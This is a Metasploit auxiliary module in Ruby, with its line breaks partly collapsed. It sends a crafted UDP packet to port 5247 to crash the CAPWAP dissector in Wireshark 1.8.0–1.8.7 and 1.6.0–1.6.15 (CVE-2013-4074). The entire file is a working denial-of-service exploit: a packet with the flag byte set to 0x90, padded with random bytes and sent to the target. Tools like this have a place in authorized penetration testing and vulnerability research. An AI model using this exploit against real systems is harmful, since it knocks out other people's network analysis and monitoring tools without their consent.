## This module requires Metasploit: http//metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,'Name' => 'Wireshark CAPWAP Dissector DoS','Description'=> %q{
This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
incomplete packet.},'License'=> MSF_LICENSE,'Author' =>
['Laurent Butti',# Discovery vulnerability'j0sm1'# Auxiliary msf module],'References' =>
[['CVE','2013-4074'],['OSVDB','94091'],['BID','60500']],'DisclosureDate' => 'Apr 28 2014'))# Protocol capwap needs port 5247 to trigger the dissector in wireshark
register_options([ Opt::RPORT(5247)], self.class)end
def run
connect_udp
# We send a packet incomplete to crash dissector
print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then# the dissector crash# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
buf = Rex::Text.rand_text(3)+"\x90"+ Rex::Text.rand_text(15)
udp_sock.put(buf)
disconnect_udp
endend
